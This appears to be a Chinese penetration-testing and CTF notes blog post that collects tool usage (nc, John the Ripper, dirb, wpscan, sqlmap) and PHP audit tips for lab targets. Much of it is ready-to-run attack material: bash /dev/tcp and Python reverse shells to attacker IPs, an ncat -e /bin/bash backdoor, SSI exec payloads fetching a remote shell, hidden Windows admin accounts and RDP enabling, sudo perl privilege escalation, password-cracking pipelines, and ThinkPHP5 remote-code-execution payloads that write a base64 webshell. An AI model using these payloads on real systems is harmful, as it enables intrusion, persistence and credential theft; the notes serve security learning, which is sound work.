《随笔 三》

一般的wordpress的404页面路径:http://ip:port/wordpress/wp-content/themes/twentyfourteen/404.php

或者:http://ip:port/wp-content/themes/twentyten/404.php

 

Table of Contents

1,windows下gcc使用:

2,libnum的部分 用法:

3,php审计:

漏洞:

7,nc 命令:

8,dirb命令

9,zcat命令

10,windows中创建,删除用户,修改密码,启用/关闭用户

11,cmd一些命令:

13,靶场信息探测:

14,对于探测结果分析

15,挖掘敏感信息

16,扩大战果

17,深入挖掘

18,背水一战(使用暴力破解)

29,ssi注入

SHTML文件

SSI基本语法

前提条件

30,路径遍历漏洞

31,用python建立一个临时的SimpleHTTPServer  ,不用再把要执行或访问的文件放在 Apache2 的根目录下了

33,wpscan工具

35,linu中的常用解压命令:

 

40, 使用bash命令 制造一个反弹shell的后门

42,curl常用命令:

44,perl 常用命令:

46,python的 的 group函数

49,文件上传中的条件竞争:

50,php中的strstr()函数:

1,python中  pyshark库的部分使用方法:

2,python 中 pyc文件反编译为py文件

3,ThinkPHP5 的远程命令执行漏洞


1,windows下gcc使用:

c:   gcc  qwe.c   -o  123                  #include<stdio.h> #include<math.h>

c++  g++ wee.cpp -o 123                    #include<iostream>

2,libnum的部分 用法:

import libnum

s="flag{pcat}"
print libnum.s2n(s)   #字符转 十进制

n=0x666c61677b706361747d
print libnum.n2s(n)   # 十六进制 转字符

b='01110000011000110110000101110100'
print libnum.b2s(b)   # 二进制 转 字符

s='pcat'
print libnum.s2b(s)   # 字符 转二进制


# s 代表 字符

# n 代表 十六进制

# b 代表 二进制

 

len_in_bits(n)         -n的二进制表示形式的位数

randint_bits(size)     -具有给定位大小的随机数

gcd(a,b,...)           -所有参数的最大公约数

lcm(a,b,...)          -所有参数的最小公倍数

invmod(a,n)          -模逆

 

primes(n)-不大于@n的质数列表,慢速方法

generate_prime(size,k = 25)-生成具有@size位长度的伪素数。@k是许多测试。

generate_prime_from_string(s,size = None,k = 25)-以字符串表示形式生成一个以@s开头的伪素数

factorize(n)-因数分解@n(当前使用rho-Pollard方法)警告:因式分解的格式现在像{p1:e1,p2:e2,...}

 

Curve(a,b,p,g,order,cofactor,seed)-表示椭圆曲线的类。

.is_opposite(p1,p2)-检查两个点是否相反

.check(p)-检查点是否在曲线上

.check_x(x)-检查曲线上是否存在具有给定x的点

.find_points_in_range(start,end

 

grey_code(n)-格雷码中的数字

rev_grey_code(g)-格雷码中的数字

nCk(n,k)-组合数

3,php审计:

1,in_arrary()函数

 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

漏洞没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,设置为ture会进行强比较,比较数据类型

由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。

由于这里(上图第6行)并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#

2,htmlspecialchars 函数 和 filter_var 函数

功能 :将特殊字符转换为 HTML 实体

定义 :string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] )

& (& 符号)  ===============  &amp;
" (双引号)  ===============  &quot;
' (单引号)  ===============  &apos;
< (小于号)  ===============  &lt;
> (大于号)  ===============  &gt;

功能 :使用特定的过滤器过滤一个变量 例如: FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url,

定义 :mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

漏洞:

针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过

我们使用 payload :?url=javascript://comment%250aalert(1) ,可以执行 alert 函数:

实际上,这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url 中(上图第二行代码),然后用户点击a标签链接就会触发 alert 函数。

小知识点:

filter_var()常用的几个过滤器:

FILTER_VALIDATE_URL:                                                   把值作为 URL 来验证。

FILTER_VALIDATE_EMAIL                                                   把值作为 e-mail 地址来验证

FILTER_VALIDATE_IP                                       把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围。

 

FILTER_SANITIZE_URL                                   删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|\^~[]`<>#%";/?:@&=

FILTER_SANITIZE_EMAIL                               删除所有字符,除了字母、数字以及 !#$%&'*+-/=?^_`{|}~@.[]

FILTER_SANITIZE_STRING                            去除标签,去除或编码特殊字符。

 

parse_url(url)本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>


Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

exec()执行给定的 command。:危险函数

4,命令注入中的特殊符号

cmd > file  把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件

cmd >> file  把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。

cmd < file  使cmd命令从file读入

cmd << text  从命令行读取输入,直到一个与text相同的行结束。

cmd <> file  以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。

 

`(反引号)

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。例如以下指令:

bash
echo It is now `date`

等价于:
echo It is now 一 12月 17 12:16:04 GMT 2018

在正式执行时会产生以下输出结果:
It is now 一 12月 17 12:16:04 GMT 2018

 

当输入参数有长度控制时,绕过方法:

注意是倒序创建,  最后 用 sh  a 去执行 构造好的命令

示例:

这里构造了的命令: wget xxx.com -o shell.php        远程下载shell.php

 

 

 

5,了解到一种新的PHP控制输入的过滤方式, str_replace()

示例:

if( isset( $_POST[ 'Submit' ]  ) ) {
   // Get input
   $target = trim($_REQUEST[ 'ip' ]);

   for($i=0; $i<5; $i++)    //这里进行循环过滤,防止使用 双写绕过 http: htthttpp
   {
       // Set blacklist
       $substitutions = array(
           '&'  => '',
           ';'  => '',
           '| ' => '',
           '-'  => '',
           '$'  => '',
           '('  => '',
           ')'  => '',
           '`'  => '',
           '||' => ''
       );

       // Remove any of the charactars in the array (blacklist).
       $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    }
}

将 ip中的非法字符替换为空,  

上面的 str_replace进行了 递归的匹配替换(递归到没有非法字符为止), 非常好用

 

str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] ) : mixed

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

两者用法类似

区别: preg_replace()函数可以用 正则表达 ,str_replace()不能

            str_replace()可以用上面示例的 用数组的方式进行递归匹配,preg_replace()没有类似用法

 

6,linux中查看端口占用情况:

netstat命令各个参数说明如下:
  -t : 指明显示TCP端口
  -u : 指明显示UDP端口
  -l : 仅显示监听套接字(所谓套接字就是使应用程序能够读写与收发通讯协议(protocol)与资料的程序)
  -p : 显示进程标识符和程序名称,每一个套接字/端口都属于一个程序。
  -n : 不进行DNS轮询,显示IP(可以加速操作)

 

netstat -ntulp   //查看当前所有tcp和udp端口·
netstat -ntulp |grep 80   //查看所有80端口使用情况·

netstat -ntulp | grep 3306   //查看所有3306端口使用情况·

7,nc 命令:

1,实现一个简易的聊天器, 单向的

windows中 是 ncat   linux 中是 nc 

监听端口 1234 :

 nc -lvp  1234

连接目标机器:

nc   ip—地址   端口号

2,设置一个后门:

创建后门的命令为:

$ ncat -l 10000 -e /bin/bash

-e 标志将一个 bash 与端口 10000 相连。客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限

$ ncat 192.168.1.100 10000

3,文件传输:(文件传输可以反向)

Server

$nc -l 1567 < file.txt

Client

$nc -n 172.31.100.7 1567 > file.txt

8,dirb命令

dirb是一个类似windows下御剑这些目录扫描工具,

dirb  ip     字典路径

一般不需要指定字典,会使用默认字典,我们也自定义字典

默认字典路径

/usr/share/dirb/wordlists/comment.txt

wordlists 目录下还有好几个字典可以使用

除此之外还要一款kali自带的目录扫描工具

DirBuster
DirBuster是一个多线程java应用程序,旨在强制Web /应用程序服务器上的目录和文件名。DirBuster总共有9个不同的列表; 这使得DirBuster在查找隐藏文件和目录方面非常有效。

同样打开终端并键入Dirbuster,然后输入目标URL,如下图所示,并浏览/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt进行暴力攻击。

9,zcat命令

zcat命令用于不真正解压缩文件,就能显示压缩包中文件的内容的场合。

-S:指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项;
-c:将文件内容写到标注输出;
-d:执行解压缩操作;
-l:显示压缩包中文件的列表;
-L:显示软件许可信息;
-q:禁用警告信息;
-r:在目录上执行递归操作;
-t:测试压缩文件的完整性;
-V:显示指令的版本信息;
-l:更快的压缩速度;
-9:更高的压缩比。

本题中使用到的命令:

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

5,john常用命令   (保存字典的目录: /usr/share/john/)

John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。

       1,破解shadow文件(shadow文件用于储存linux中加密后的密码)

john shadow 


也可以指定 字典

john --wordlist=/usr/share/john/password.lst  shadow

        2, 提取ssh 私钥里面的密码:

先将文件转换为 john可以执行的文件

python /usr/share/john/ssh2john.py  id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

         3,keepass2数据库密码

先将加密文件转为john可以执行的文件

python /usr/share/john/keeppass2john.py  newdb.kdb > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack

          4, rar 提取密码

先将加密文件转为john可以执行的文件

python /usr/share/john/rar2john.py  encrypted.rar > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack

10,windows中创建,删除用户,修改密码,启用/关闭用户

查看当前用户(不显示隐藏用户,可以在 我的电脑-》管理》用户和组 》用户,中查看所有用户)

net user  

创建用户:(用户名前加$符号可以创建隐藏账户)(必须以管理员权限运行cmd)

net user username   password  /add

给新创建的用户分组:(提升为管理员)

net localgroup administrators luohao /add

删除用户:

net user username /del

修改密码:

net user administrator 123123   //将administrator用户的面改为 123123

启用/关闭用户

net user administrator /active:yes


net user administrator /active:no

11,cmd一些命令:

查看版本:                                       ver

查看配置:                                  systeminfo

查看进程:                                  tasklist

查看正在运行的服务:                tasklist /svc

查看开放的所有端口:                  netstat -ano

查看指定服务的路径:                 sc qc Mysql

关闭防火墙:                              net stop sharedaccess

把cmd.exe复制到的temp目录下并命名为cmd.txt:copy c:\windows\temp\cookies\cmd.exe  c:\windows\temp\cmd.txt

开3389端口的命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

12,ssh 基于TCP 22 号端口的服务

13,靶场信息探测:

对于给定的ip地址的靶机,对其进行渗透测试,首先需要考虑靶场机器开放的服务

探测靶场开放的服务于服务的版本:

nmap -sV  ip_address

探测靶场的全部信息:

nmap -A -v -T4 ip

-A:全部信息
-v: 详细显示
-T:线程

探测靶场的操作系统和版本:

nmap -O ip

14,对于探测结果分析

对于SSH服务的22端口:

首先考虑: 1,暴力破解

                   2,私钥泄露(私钥有没有对应的密码,是否可以找到 认证关键字文件 ,进而确定用户名)

对于开放http服务的 80端口 或者  其他端口靶场:

首先考虑: 1,通过浏览器访问靶场,查找关键信息

                  2,通过 探测工具对 http 的目录进行探测,如: dirb  

特别注意 大于 1024 的特殊端口

15,挖掘敏感信息

使用浏览器对靶场的http服务进行探测,对页面中展示的内容也要注意吗,尤其是联系人等信息(有可能就是ssh的用户名信息),递归访问,力争把每一个 dirb扫描到的目录页面都 查看一遍

 

尤其对 robots.txt文件,一些目录进行访问,挖掘具有利用价值的信息。队友开放的ssh服务的靶场,务必要注意是否可以找到ssh私钥信息(id_rsa)

 

特别注意 config 等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息

16,扩大战果

登录服务器后,我们需要做一下操作:

1,查看点用户的 whoami

2,id 查看当前用户的权限

3,查看根目录 寻找 flag文件

 

如果是root权限,那表明这个靶场已经被我们拿下

如果不是root权限,那就需要进一步提权,一般情况下,flag文件只属于root用户组用户

 

cat  /etc/passwd                    查看所有用户的列表

cat   /etc/group                       查看用户组

find / -user  username           查看属于某用户的文件

ls  -al   /tmp                           查看缓冲区文件目录 ,看是否有一些临时性的文件

 

17,深入挖掘

需要特别关注的文件:

/etc/crontab   文件         通过/etc/crontab文件,设定系统定期执行的任务、要编辑,需要root权限。不同的用户都可以有不同的定时任务

 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应着靶场机器的某个文件         

 

如果在 /etc/crontab下有某个用户的定时任务文件,但是具体的目录下没有这个 定时执行的文件,可以自行创建反弹shell,然后netcat监听获取对应用户的权限

 

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是都具有读写权限

反弹shell

靶场代码:

#!/usr/bin/python

import os,subprodess,socket

s = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)

s.connect("攻击机的ip","攻击器监听的端口")

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p = subprocess.call(["/bin/sh","-i"])

18,背水一战(使用暴力破解)

万不得已的时候,不得不使用暴力破解的方法破解 口令

破解工具: hydra、medusa

 

利用cuup创建字典

git clone https://github.com/jeanphorn/common-password.git

chomd +x cupp.py

./cupp.py -i  (以交互的方式创建字典)

 

 

20,查看端口占用情况:

netstat -pantu

21,给某个文件加权限 

chmod 777 file.py

或者


chmod  +x  file.py   //加可执行权限

22,banner信息:

banner 信息来表示欢迎语,其中会包含一些敏感信息,所以获取 banner 也属于信息搜集的范畴。在渗透测试中,典型的 4xx、5xx 信息泄露就属于 banner 泄露的一种。在 banner 信息中,可以获取到软件开发商、软件名称、服务类型、版本号等。而版本号有时候就会存在公开的 CVE 问题,可以直接进行利用。

nc 在建立链接后会返回相应端口的 banner,

在扫描到一些大端口后 可以尝试使用 nc 返回banner信息

nc  ip  port

也可以使用 nmap批量获取 banner信息

强大的 nmap 肯定也有获取 banner 的方法,只不过是通过脚本实现的,因为 banner 获取是建立在连接的基础上的,所以需要用到 sT 参数,sT 用来连接目标,其命令和结果如下:

nmap -sT 192.168.11.167 -p 1-1000 --script=banner

23, linux中的cat 命令可以用 more 代替,利用这一点可以绕过某些过滤

24,注意具有未知服务的大端口,

     1,可以用 nc  查看端口的banner信息,也许banner中就能敏感信息

nc 192.168.11.167 22223

     2,当22号端口 禁止登陆ssh服务的时候 ,可以尝试使用 这些大端口进行ssh登陆

ssh -p 22223 summer@192.168.11.167

 25, 渗透要由外而内,在外部获取足够多的信息之后,侵入内部也就是顺理成章的事,不要拿到靶场ip就只想着侵入后台,在侵入后台之前,一定要先收集外部的信息!要对每一个开放的服务进行探测,不放过一个可以利用的点

26,win 打开远程桌面窗口:运行 》mstsc

       kali中:

rdesktop 172.16.70.199:3389

27,kali中竟然还自带有webshell:

保存目录: /usr/share/webshell    (只需要修改ip 和端口就可以使用)

28,sqlmap中指定注入点:

1,注入点在 XFF中: (注意 XFF后面的 * 号)    (在)

sqlmap -u “http://123.113.134.123”  --batch --level 3 --thread 4 --headers="X-Forwarded-For:*" --dbs

2,注入cookie,referer,user-agent,

sqlmap -u "http://123.123.123.123" --cookie "uname=admin"  --batch --level 3 –dbs

29,ssi注入

SSI全称是Server Side Includes,即服务器端包含,是一种基于服务器端的网页制作技术。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

基本原理就是: SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

SHTML文件

SHTML即Server-Parsed HTML。

shtml文件(还有stm、shtm文件)就是应用了SSI技术的html文件,所以在.shtml页面返回到客户端前,页面中的SSI指令将被服务器解析。可以使用SSI指令将其它文件、图片包含在页面中,也可以将其它的CGI程序包含在页面中,如.aspx文件。在给客户端返回的页面中不会包含SSI指令。如果SSI指令不能被解析,则浏览器会将其做为普通的HTML注释处理。

IIS,Nginx和Apache都支持ssi服务,默认关闭

SSI基本语法

1、显示服务器端环境变量 <#echo>

<!--#echo var="DOCUMENT_NAME"-->         本文档名称
<!--#echo var="DATE_LOCAL"-->   现在时间:
显示IP地址: <!--#echo var="REMOTE_ADDR"-->

2、将文本内容直接插入到文档中 <#include>

<!--#include file="文件名称"-->
<!--#include virtual="index.html" -->
<!--#include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径。

3、直接执行服务器上的各种程序 <#exec> (如CGI或其他可执行程序)

<!–#exec cmd="命令"–>

<!--#exec cmd="cat /etc/passwd"-->

<!--#exec cmd="wget http://192.123.131.13/shell.py"-->

<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

 

前提条件

攻击者要想进行SSI注入、在Web服务器上运行任意命令,需要满足下列几点前提条件才能成功:

  1. Web服务器支持并开启了SSI;
  2. Web应用程序在返回HTML页面时,嵌入了用户输入的内容;
  3. 外部输入的参数值未进行有效的过滤;

30,路径遍历漏洞

漏洞的成因,对用户的输入过滤不严,开启了远程文件包含和本地文件包含

目录遍历漏洞的特征要注意:

?page=xxx.php

?home=xxx.html

?index=xxx.jsp

常用漏洞验证方式:

1:../../../../../../(多少个../都行,越多越好)/etc/passwd

URL上这一串东西的意义:../返回上级目录,当返回到根目录时候再../还是根目录,然后直接进入linux系统的passwd文件

2.file:///etc/passwd(这里是文件包含漏洞,不过利用方法一致)

3.http://xxxxx

前两者用途:可以读取到目标系统的机密文件

远程文件包含用途:可以构建一个带有shellcode的网站,使目标访问,进而得到shell(虽然是低权限shell)

如果开启了远程文件包含并且没有进行严格的用户过滤的话,就会导致包含执行远程的webshell代码

 

31,用python建立一个临时的SimpleHTTPServer  ,不用再把要执行或访问的文件放在 Apache2 的根目录下了

python -m "SimpleHTTPServer"

默认是开启 8000  也可以指定端口,直接在后面跟端口名就行

 

32,dirb 指定字典 ,直接在 地址后面跟字典路径即可 默认使用 comment.txt  可以使用的kali字典的字典有:

33,wpscan工具

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

使用wpscan枚举 username:

wpscan --url http://192.168.11.170/serect/ --enumerate u

 

–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。输入下列命令开始对服务器进行扫描:

wpscan –u http://192.168.0.101/wordpress/

扫描

wpscan –u http://192.168.0.101/wordpress --enumerate t     //主题扫描
wpscan –u http://192.168.0.101/wordpress --enumerate vt     //扫描主题中存在的漏洞
wpscan –u http://192.168.0.101/wordpress --enumerate p     //插件扫描
wpscan –u http://192.168.0.101/wordpress --enumerate vp     //扫描插件中的安全漏洞

使用WPScan进行暴力破解

在进行暴力破解攻击之前,我们需要创建对应的字典文件。输入下列命令:

wpscan –u http://192.168.0.101/wordpress/ --wordlist /root/Desktop/dict.txt --usernameadmin

34,一些网站的文件读取的修复方案(不采用循环过滤替代字符的方案)

<?php
 
    $filename = $_REQUEST['file'];
    switch($filename){
           case "config":
           echo file_get_contents("config.php");
           break;
           
default:
                   echo '请求错误';
 
}
 
?>

这里直接用白名单的形式读取文件

对比而言,对 ../ 等非法字符过滤,不如直接用白名单

 

35,linu中的常用解压命令:

unzip filename.zip

tar -xvf FileName.tar

tar -zxvf  filename.tar.gz
-z:   gzip              压缩格式
-x:   extract          解压
-v:   verbose        详细信息
-f:   file(file=archieve)    文件

tar -jxvf filename.tar.bz2
-j:   bzip2          压缩格式

tar -Jxvf filename.tar.xz
注意J大写

gunzip FileName.gz


bzip2 -d FileName.bz

uncompress FileName.Z

rar -x FileName.rar

36,kali中创建文件/文件夹的快捷方式:
(必须使用绝对路径)

ln -s /usr/share/wordlists   /root/desktop

37,kali 将 windows的共享文件挂载到桌面上:(临时的,重启后就没有了)

vmhgfs-fuse .host:/kali /root/desktop/share

38,

39,在本地使用 ssh命令登录 不需要输入密码(在/home/simon 中发现 .ssh目录)

ssh simon@localhost sudo -l

关闭防火墙

ssh simon@localhost sudo  ufw disable   //ubuntu的自带的防火墙 ufw

 

40, 使用bash命令 制造一个反弹shell的后门

sudo bash -i >& /dev/tcp/192.168.11.165/4444  0>&1

或者:

echo ' bash -i >& /dev/tcp/192.168.11.165/4444  0>&1'| bash

实例:

ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.11.165/4444  0>&1

然后在 攻击端监听:

nc -lvp 4444

41, 扫描端口 http服务允许使用的method:

curl -v -X OPTIONS http://192.168.11.172/test

-v 输出详细信息 -X 输出http报头,

42,curl常用命令:

1,模拟GET/POST请求

# 使用curl发送GET请求
$ curl http://127.0.0.1:8080/login?user=admin&passwd=12345678

# 使用curl发送POST请求
$ curl -d "user=admin&passwd=12345678" http://127.0.0.1:8080/login

2,指定http头部信息 -H 可以指定多条头部信息

$ curl -H "Content-Type:application/json" http://127.0.0.1:8080

3,抓取页面:(--progress 可以显示进度条)()

curl -o test.html www.baidu.com


curl -O http://www.linux.com/hello.sh   //注意大写 O

// 必须具体到url的某个文件才行

4, 在访问需要授权的页面时,可通过-u选项提供用户名和密码进行授权

curl -u admin http://taobao.com

//之后会提示输入密码

5,查公网 ip:

curl cip.cc

6,指定proxy服务器以及其端口

很多时候上网需要用到代理服务器(比如是使用代理服务器上网或者因为使用curl别人网站而被别人屏蔽IP地址的时候),幸运的是curl通过使用内置option:-x来支持设置代理

# curl -x 192.168.100.100:1080 http://www.linux.com

7,保存cookie

有些网站是使用cookie来记录session信息。对于chrome这样的浏览器,可以轻易处理cookie信息,但在curl中只要增加相关参数也是可以很容易的处理cookie,,执行后cookie信息就被存到了cookiec.txt里面了

# curl -c cookiec.txt  http://www.linux.com

使用cookie

# curl -b cookiec.txt http://www.linux.com

8,上传文件

# curl -T dodo1.JPG -u 用户名:密码 ftp://www.linux.com/img/

 

43, 查看 www-data用户的 sudo权限

sudo -l

可以看到 www-data 用户可以使用 perl命令

使用Perl 命令提权:

sudo perl -e "exec /bin/sh'


bash -i  //以交互模式运行bash

44,perl 常用命令:

Perl 是 Practical Extraction and Report Language 的缩写,可翻译为 "实用报表提取语言"。

Perl 是高级、通用、直译式、动态的程序语言。

用 perl 甚至可以写出比python更简单的脚本

1,执行指定脚本

perl -e "print 43"   //输出 43

perl -e "exec '/bin/sh'"

也可以编写pl脚本 (首行需指定perl解释器路径 #!/usr/bin/perl)

执行pl脚本  ./test.pl

2,检查 pl脚本错误

perl -c test.pl

45,rar文件伪加密

在文件头的第 二行的第7位 为 84 为加密 ,,80/20 不加密

 

46,python的 的 group函数

group函数 会返回 上条正则表达中 括号中匹配到的值

import re

#定义了两个group,因为包含两个括号
m = re.match("(\w+) (\w+)", "Isaac Newton, physicist")

#group(0)就是匹配的整个结果
print(m.group(0))                           #输出结果为Isaac Newton

#group(1)是第一个group的值
print(m.group(1))                           #输出结果为Isaac

#group(2)是第二个group的值
print(m.group(2))                           #输出结果为Newton


#groups返回所有的group,以元组的形式
print(m.groups())                           #输出结果为('Isaac','Newton')           

47, python 的切片

字符串的逆置:

 n = "adfsfffss"
print(n[::-1])

切片从 右向左读取

数组的逆置:

n = ['a','d','c','f']

print(n.reverse())

直接用 reverse函数进行 数组的逆置

48,php中 chdir(‘uploaded’)函数 切换目录为uploaded

 

49,文件上传中的条件竞争:

一边用  burp suite 上传webshell文件,一边用 脚本你访问webshell脚本,就会造成条件竞争

burp suite 》intruder模块 》 options 》把线程调为 30 》payloads 调为 Null payload 》把payloads 设置为 1000条

然后利用脚本访问 上传的 webshell

import requests
url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php'
while 1:
    r = requests.get(url)
    if 'flag' in  r.text:
        print r.text

或者  抓两次包,

一次上传webshell ,发送到 intruder模块 

一次 访问 webshell 的地址,发送到 intruder模块

50,php中的strstr()函数:

strstr(string,search,before_search)

在字符串 string中 查看 子字符串search是否存在

第三个参数 默认为 false  如果设置为 "true",它将返回 search 参数第一次出现的位置前面的字符串

可以用大小写绕过 strstr()函数

 

1,python中  pyshark库的部分使用方法:

(1)提取流量包的摘要信息:

import pyshark
cap = pyshark.FileCapture('test.pcap', only_summaries=True)
print cap[69]


#69 4.967058 127.0.0.1 127.0.0.1 HTTP 286 GET /?id=1'%20and%20ascii(substring((select%20keyid%20from%20flag%20limit%200,1),1,1))=35%23 HTTP/1.1 

(2)过滤器display_filter 和 bpf_filter

bpf_filter:

>>> cap = pyshark.LiveCapture(interface='en0', bpf_filter='ip and tcp port 80')
>>> cap.sniff(timeout=5)
>>> cap
   <LiveCapture (21 packets)>
>>> print cap[5].highest_layer
HTTP

display_filter:

>>> cap = pyshark.FileCapture('test.pcap', display_filter="dns")
>>> for pkt in cap:
...:    print pkt.highest_layer
...:
DNS
DNS
DNS
DNS
DNS
... (truncated)

(3)keeep_packets

PyShark只会在要对数据包进行处理的时候才会将其读入内存。在你处理数据包的过程中,PyShark会将每个数据包添加到 capture 对象中叫 _packet 的列表属性的末尾。当处理大量的数据包时,这个列表将占用大量的内存,因此PyShark提供了这个选项使得内存中一次仅保留一个数据包。

如果 keep_packets 设置为False(默认为True),PyShark在读取新数据包时会将上一个从内存中清除。我发现这样能提升一点数据包遍历处理的速度

>>> cap = pyshark.FileCapture('test.pcap', keep_packets=False)

(4)apply_on_packet() 方法 和 next()方法     循环遍历数据包

next()方法使得 capture 对象可以通过for循环进行遍历。
apply_on_packets() 方法是另一种遍历数据包的方式,它接受一个函数作为参数并将之作用于所有的数据包

>>> cap = pyshark.FileCapture('test.pcap', keep_packets=False)
>>> def print_highest_layer(pkt)
...: print pkt.highest_layer
>>> cap.apply_on_packets(print_highest_layer)
HTTP
HTTP
HTTP
HTTP
HTTP
... (truncated)

2,python 中 pyc文件反编译为py文件

uncompyle6 1.pyc >1.py

说明: pyc文件是py文件编译后的文件,正常的代码执行不生成pyc文件,只有在 一个脚本被重复利用的时候才会生成pyc文件,比如,一个脚本被当做 模块调用后,就会生成该脚本一个 pyc文件,

 

3,ThinkPHP5 的远程命令执行漏洞

影响版本

ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31

方式一:(直接修改后面的命令)

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat ../../../flag");'

方式二:

post地址:http://anquanceshi.com/public/index.php?s=captcha

POST内容:c=system&f=whoami&_method=filter

直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的信息。

在整体的所有版本中测试,thinkphp必须开启debug模式才可以写入webshell,写入的执行代
码是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',base64_decode('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1 

写入的是一句话木马,连接密码是pass.
有些低版本的网站,可以不使用captcha参数也可是执行远程代码,代码如下:

_method=__construct&filter[]=system&method=GET&get[]=whoami

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo 

_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值